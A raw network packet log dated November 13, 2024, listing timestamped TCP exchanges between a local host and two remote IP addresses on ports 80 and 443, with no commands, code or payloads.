Nov 13, 2024 18:08:33.331348896 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331360102 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.331363916 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.331382990 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.331407070 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.332191944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332201958 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332211018 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332221985 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332231998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332241058 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.332242012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332253933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332261086 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.332263947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332273960 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332281113 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.332284927 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332293987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.332294941 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332305908 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332319975 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332344055 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.332344055 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.332355022 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.332952976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332963943 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332973003 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332983971 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332993984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.332999945 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.333004951 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333014965 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333019972 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.333024979 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333025932 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.333034992 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333046913 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333059072 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.333079100 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.333277941 CET	443	49905	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.333350897 CET	443	49905	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.333404064 CET	49905	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.333417892 CET	443	49905	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.333463907 CET	443	49905	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.333692074 CET	49905	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.333858013 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333868980 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333878994 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333889008 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333893061 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.333899975 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333911896 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.333929062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333935976 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.333940029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333949089 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333959103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333967924 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.333970070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333981037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.333986998 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.333991051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.334002018 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.334011078 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.334012985 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.334023952 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.334033966 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.334044933 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.334079981 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.334976912 CET	49905	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.334984064 CET	443	49905	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.334992886 CET	49905	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.334996939 CET	443	49905	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.335108042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335130930 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335143089 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335148096 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.335154057 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335165024 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335167885 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.335174084 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.335175037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335186958 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335194111 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.335196972 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335206985 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335217953 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335223913 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.335228920 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335238934 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335242987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.335249901 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335251093 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.335262060 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.335278034 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.335302114 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.336283922 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.336294889 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.336302042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.336311102 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.336323977 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.336333990 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.336352110 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.336525917 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.336541891 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.336556911 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.336569071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.336577892 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.336579084 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.336599112 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.336625099 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.338948011 CET	49916	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.338977098 CET	443	49916	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.339061975 CET	49916	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.339257956 CET	49916	443	192.168.2.6	13.107.246.45
Nov 13, 2024 18:08:33.339270115 CET	443	49916	13.107.246.45	192.168.2.6
Nov 13, 2024 18:08:33.483274937 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483336926 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.483481884 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483499050 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483520985 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483530045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483535051 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.483539104 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483568907 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.483581066 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.483645916 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483654976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483665943 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483678102 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483690023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483690023 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.483701944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483726978 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.483745098 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.483906984 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483917952 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483928919 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483939886 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483949900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.483963966 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.483983040 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.484230042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484241009 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484251022 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484261990 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484275103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484281063 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.484308004 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.484318972 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.484463930 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484497070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484508038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484508038 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.484536886 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.484605074 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484616041 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484625101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484648943 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.484675884 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.484850883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484863043 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484873056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484896898 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484899044 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.484909058 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484919071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484924078 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.484930992 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.484954119 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.484977007 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.485382080 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485409021 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485424042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485433102 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.485434055 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485445976 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485455036 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.485456944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485469103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485479116 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485487938 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.485491037 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485501051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485506058 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.485512972 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485522985 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485524893 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.485532045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.485549927 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.485573053 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.486134052 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486145973 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486155033 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486166000 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486176014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486183882 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.486186981 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486198902 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486208916 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486216068 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.486219883 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486231089 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486236095 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.486242056 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486252069 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486258984 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.486264944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486277103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486278057 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.486288071 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.486309052 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.486938953 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.489686012 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.489696980 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.489706993 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.489717960 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.489728928 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.489739895 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.489739895 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.489751101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.489762068 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.489782095 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.489782095 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.489811897 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.489926100 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.489967108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.490003109 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490044117 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.490140915 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490151882 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490160942 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490171909 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490181923 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490183115 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.490192890 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490204096 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490206957 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.490217924 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.490245104 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.490776062 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490787029 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490797043 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490830898 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.490854025 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.490927935 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490936995 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490945101 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490955114 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490963936 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490971088 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.490973949 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490984917 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.490994930 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491004944 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491004944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491017103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491024017 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491028070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491038084 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491039991 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491049051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491051912 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491058111 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491070986 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491085052 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491106987 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491581917 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491592884 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491600990 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491610050 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491620064 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491627932 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491630077 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491641045 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491650105 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491650105 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491661072 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491668940 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491672993 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491683960 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491693020 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491693974 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491702080 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491710901 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.491718054 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491736889 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.491746902 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.492609024 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.492624998 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.492635965 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.492646933 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.492657900 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.492659092 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.492669106 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.492679119 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.492681026 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.492692947 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.492705107 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.492707014 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.492727995 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.492741108 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.493170023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493181944 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493192911 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493204117 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493216038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493218899 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.493226051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493237972 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493248940 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493256092 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.493259907 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493271112 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493282080 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493285894 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.493294001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493304014 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493308067 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.493315935 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.493325949 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.493340969 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.493366957 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.494091034 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494102001 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494111061 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494122028 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494132042 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494143009 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494143963 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.494153023 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494165897 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494174004 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.494177103 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494188070 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494190931 CET	49864	80	192.168.2.6	185.215.113.206
Nov 13, 2024 18:08:33.494199038 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494209051 CET	80	49864	185.215.113.206	192.168.2.6
Nov 13, 2024 18:08:33.494214058 CET	49864	80	192.168.2.6	185.215.113.206
